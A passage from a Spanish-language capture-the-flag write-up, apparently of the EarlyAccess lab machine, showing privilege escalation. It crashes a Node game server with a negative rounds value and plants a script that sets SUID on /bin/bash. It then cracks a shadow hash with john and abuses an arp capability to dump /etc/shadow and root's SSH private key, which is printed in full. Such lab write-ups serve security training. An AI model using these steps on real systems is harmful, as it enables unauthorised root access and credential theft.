Si miramos dentro del contenedor game-server, con el comando ss vemos que el puerto 9999 está abierto internamente.
game-tester@game-server:~$ ss -tnlp
Parámetros | Descripción |
---|---|
-n | Para mostrar las direcciones IP y los números de puerto en formato numérico |
-l | Muestra solo las conexiones que están en un estado de “LISTEN” |
-t | Muestra únicamente conexiones TCP |
-a | Muestra tanto conexiones TCP como UDP |
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.11:33023 *:*
LISTEN 0 128 *:9999 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 :::22 :::*
game-tester@game-server:~$
Vamos a utilizar SSH para realizar un Port Forwarding dinámico.
ssh drew@10.10.11.110 -D 1080 ❯
Parámetros | Descripción |
---|---|
-D | Se utiliza para habilitar el reenvío dinámico de puertos. |
Configuramos el navegador para que acceda a esa dirección.

Tras realizar la configuración ya podemos acceder al contenedor.

Si miramos en la raíz del contenedor que contiene el juego vemos un archivo con nombre entrypoint.sh y un directorio con nombre docker-entrypoint.d.

El entrypoint.sh es el archivo el cual va a indicar al contenedor que hacer después de arrancar.
game-tester@game-server:~$ cat /entrypoint.sh
#!/bin/bash
for ep in /docker-entrypoint.d/*; do
if [ -x "${ep}" ]; then
echo "Running: ${ep}"
"${ep}" &
fi
done
tail -f /dev/null
game-tester@game-server:~$
Vemos que el archivo itera por cada valor existente en el directorio docker-entrypoint.d y si el archivo tiene los permisos necesarios, lo ejecuta.
Dentro del directorio docker-entrypoint.d solo hay un archivo, el cual realiza unas instrucciones.
game-tester@game-server:~$ ls -la /docker-entrypoint.d
total 12
drwxrwxr-t 2 root 1000 4096 May 13 15:19 .
drwxr-xr-x 1 root root 4096 May 13 07:51 ..
-rwxr-xr-x 1 root root 100 May 13 15:19 node-server.sh
game-tester@game-server:~$ cat /docker-entrypoint.d/node-server.sh
service ssh start
cd /usr/src/app
# Install dependencies
npm install
sudo -u node node server.js
game-tester@game-server:~$
Vemos la ruta /usr/src/app, si accedemos vemos un archivo server.js.
game-tester@game-server:~$ ls -la /usr/src/app
total 48
drwxrwxr-x 5 root root 4096 Aug 18 2021 .
drwxr-xr-x 1 root root 4096 Aug 19 2021 ..
drwxrwxr-x 2 root root 4096 Aug 18 2021 assets
drwxrwxr-x 68 root root 4096 Aug 18 2021 node_modules
-rw-rw-r-- 1 root root 18659 Aug 18 2021 package-lock.json
-rw-rw-r-- 1 root root 315 Aug 18 2021 package.json
-rw-rw-r-- 1 root root 2771 Aug 18 2021 server.js
drwxrwxr-x 2 root root 4096 Aug 18 2021 views
El archivo contiene el código fuente del juego.

Viendo esta parte del codigo ya podemos detectar una forma de provocar un error al servidor, como la aplicación no busca números negativos, el bucle while se ejecuta siempre que las rondas no sean cero y en cada ejecución el contador de rondas disminuye. Si usáramos un numero negativo -1 en la cantidad de rondas, el bucle while se ejecutaría sin fin, lo que eventualmente colapsaría el servidor.

Pero en la pagina no podemos poner números negativos.

Si probamos desde el servidor, utilizando curl si que funciona.




game-tester@game-server:~$ curl http://127.0.0.1:9999/autoplay -d 'rounds=-1'
Connection to 172.19.0.3 closed by remote host.
Connection to 172.19.0.3 closed.
drew@earlyaccess:~$
Parámetros | Descripción |
---|---|
-d | Se utiliza para enviar datos en una solicitud HTTP utilizando el método POST. |
Teniendo ya la capacidad de tirar el servidor ahora vamos a tratar de añadir un archivo al directorio docker-entrypoint.d, pero como no tenemos permisos de escritura es probable que se este utilizando una monturas para poder traer el directorio.
Si buscamos por el sistema, vemos el directorio que tiene los permisos necesarios.
drew@earlyaccess:~$ find / -name 'node-server.sh' 2>/dev/null
/opt/docker-entrypoint.d/node-server.sh
drew@earlyaccess:~$ ls -l /opt/ | grep "docker"
drwxrwxr-t 2 root drew 4096 May 13 18:06 docker-entrypoint.d
drew@earlyaccess:~$
Creamos un archivo dentro del directorio.
drew@earlyaccess:/opt/docker-entrypoint.d$ touch test
drew@earlyaccess:/opt/docker-entrypoint.d$ ls -l
total 4
-rwxr-xr-x 1 root root 100 May 13 18:08 node-server.sh
-rw-r--r-- 1 drew drew 0 May 13 18:08 test
drew@earlyaccess:/opt/docker-entrypoint.d$
Pero pasado un tiempo, el archivo es eliminado.
drew@earlyaccess:/opt/docker-entrypoint.d$ ls -l
total 4
-rwxr-xr-x 1 root root 100 May 13 18:09 node-server.sh
drew@earlyaccess:/opt/docker-entrypoint.d$
Por tanto vamos a crear un bucle para estar creando el archivo que le añada el permiso SUID a al binario /bin/bash continuamente.
drew@earlyaccess:/opt/docker-entrypoint.d$ while true; do echo 'chmod u+s /bin/bash' > pwn; chmod +x pwn; sleep 1; done
Mientras por otro lado tiramos el servidor.
game-tester@game-server:~$ curl http://127.0.0.1:9999/autoplay -d 'rounds=-2'
Connection to 172.19.0.2 closed by remote host.
Connection to 172.19.0.2 closed.
drew@earlyaccess:~$
Ahora si accedemos de nuevo podemos ver que ha funciona ya que el binario /bin/bash tiene el permiso SUID
drew@earlyaccess:/opt/docker-entrypoint.d$ ssh game-tester@172.19.0.2
Linux game-server 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 13 16:17:13 2024 from 172.19.0.1
-bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
-bash-4.4$
Si miramos el /etc/shadow podemos ver la contraseña hasheada del usuario game-adm.
bash-4.4# grep "game-adm" /etc/shadow
game-adm:$6$zbRQg.JO7dBWcZ$DWEKGCPIilhzWjJ/N0WRp.FNArirqqzEMeHTaA8DAJjPdu8h52v0UZncJD8Df.0ncf6X2mjKYnH19RfGRneWX/:18822:0:99999:7:::
bash-4.4#
Tratamos de crackearla con john, y funciona.
john -w=/usr/share/wordlists/rockyou.txt hash
❯ Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA384"
Use the "--format=HMAC-SHA384" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
gamemaster (game-adm)
1g 0:00:00:03 DONE (2024-05-13 18:29) 0.2824g/s 3905p/s 3905c/s 3905C/s hondas..gotica
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nos conectamos como el usuario game-adm.
drew@earlyaccess:~$ su game-adm
Password:
game-adm@earlyaccess:/home/drew$ whoami
game-adm
game-adm@earlyaccess:/home/drew$
Y ya siendo el usuario game-adm ya podemos ejecutar la capabilitie.
game-adm@earlyaccess:/home/drew$ /usr/sbin/arp -v -f "/etc/shadow"
>> root:$6$2QbMgoSoxCmfitM7$fivhckW6N0Qk8Y3.RDUy8iFKm/BcwEUkUDwKZa5s3LC6bhJuBwPxaqUpUJ76oOiI10i7CfcpPj1CcwVWsRLoz/:18871:0:99999:7:::
arp: format error on line 1 of etherfile /etc/shadow !
>> daemon:*:18771:0:99999:7:::
arp: format error on line 2 of etherfile /etc/shadow !
>> bin:*:18771:0:99999:7:::
Tratamos de ver el ver la clave privada del usuario root.
game-adm@earlyaccess:/home/drew$ /usr/sbin/arp -v -f "/root/.ssh/id_rsa" 2>&1 | grep -vE "format|arp|host" | sed 's/>> //'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEArIOXIvZx/5LspJVtY/Y5eT3B0g+hf1t4NEwLljBNrVzW3Y1JFDTL
bsqeX+jY1B0lLH361DrhTMra1KSHtTtk+Y6FLqUaYOnlxPlEnaldg/F9c+ch6bzgvEoYai
Z/GLfnkdrY9mmU3wrCi4c7OIe1YOwPPtNLYJb76qg7dVrj9beJjT+ZRG7JflgS/aQtFUVe
9NkES/xNk80E4q1Ypbodj8pJcyWek9LXC5/+sdhV4KnUHZjoNZ+BlcpKsYvC0K1we02oC7
3p05jrBZXYwCgzPTy/8DZ9FZr6oSBleQR8lPl6xPo6D32gcHRvVJCSakvVcjJWH2L227+3
6g4RguqXGwAAA8ihamwioWpsIgAAAAdzc2gtcnNhAAABAQCsg5ci9nH/kuyklW1j9jl5Pc
HSD6F/W3g0TAuWME2tXNbdjUkUNMtuyp5f6NjUHSUsffrUOuFMytrUpIe1O2T5joUupRpg
6eXE+USdqV2D8X1z5yHpvOC8ShhqJn8Yt+eR2tj2aZTfCsKLhzs4h7Vg7A8+00tglvvqqD
t1WuP1t4mNP5lEbsl+WBL9pC0VRV702QRL/E2TzQTirViluh2PyklzJZ6T0tcLn/6x2FXg
qdQdmOg1n4GVykqxi8LQrXB7TagLvenTmOsFldjAKDM9PL/wNn0VmvqhIGV5BHyU+XrE+j
oPfaBwdG9UkJJqS9VyMlYfYvbbv7fqDhGC6pcbAAAAAwEAAQAAAQACv4Xk1LA0Ng73ADph
4UZBHC6+PemAseBUVPHKTrKuFFCH7vw/CihDd47WUEtD9cLl1ovsXZPBOWoLASP4Sx3sq8
yLVa355T/3x1DEgjIvK+WntwLfSlb6KOQCrOJRbnyN4kKaikwI0Y8P0fOrjt3g0WHcyljl
DQKuVke8Mtp2y5L+qKOyh48O+nHvc9prBnyqq0wlgnNr/Fm/S4go2O8M2CWp9AeK7YdtlO
Y7Ertr9iCY3O+3U9W/4LLxu9JVacdhqGqnig6FMQfY9TmnRLdiDvYbzESPwNRtGtTDJoFf
TgUJqvD+21ZT/k5gr2L4r8D/aB4z/ZES4x8F7IjG6+3hAAAAgBzC+fdpajuVkO3jTsleKx
npsnDqSPHlufw/U9nQutXTzv9CQClkOcCcJSONo3epcktDbx5LrUxtH72OmuZoLJCHPxtQ
+nKJdRSuTfF9vMmMMr44ovq9chO6BfSHnlS6OAoMQZENxClUWjr95AOd7iZJ20MxdNyiZZ
/ITMd6O6C/AAAAgQDYH/3pNv83rrECgtMai6pp2yS1bhLReI8SmnpJRSapk4+Ueh4Ww89N
I3RMM6hSAKkB0/X99LZNUvnkkvUE9cZK15sA0RTUSm/hzfKx9TthtZMx4fIksnDlvk9Fix
wo+Fdbj05u4++fWlQufx9lhfGdKLkSzvo4ycAp+0/aaOm6rwAAAIEAzFfEivv2iVee/lv4
1AnfsSOFhJ2FNd58S6ApYqfoz7+dKDJ74k5HnrkCjD8tcRGld1Ebaq3lBEUn+5eI/km16P
ceeCjUt48nzOX23RvBAt9dAhl0UYQr/9Bc7Wuijv/Y9xJdp2s6V5CTaUuxA6283zxy+6+b
fD4WoE/0eunE1VUAAAAQcm9vdEBlYXJseWFjY2VzcwECAw==
-----END OPENSSH PRIVATE KEY-----
game-adm@earlyaccess:/home/drew$
Guardamos el id_rsa y le damos los permisos necesarios.
chmod 600 id_rsa ❯
Ya teniendo todo listo, nos podemos conectar como el usuario root sin proporcionar la contraseña.
ssh -i id_rsa root@10.10.11.110 ❯
Parámetros | Descripción |
---|---|
-i | Se utiliza para especificar la clave privada. |
Linux earlyaccess 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 5 15:58:25 2021 from 10.10.14.6
root@earlyaccess:~# whoami
root
root@earlyaccess:~# id
uid=0(root) gid=0(root) groups=0(root)
root@earlyaccess:~#
Y ya finalmente obtenemos la ultima flag.
root@earlyaccess:~# cat root.txt
2f9*****************************
root@earlyaccess:~#
Aqui se explica con detalle el AutoPWN de la máquina EarlyAccess.
© - Mr. Pr1ngl3s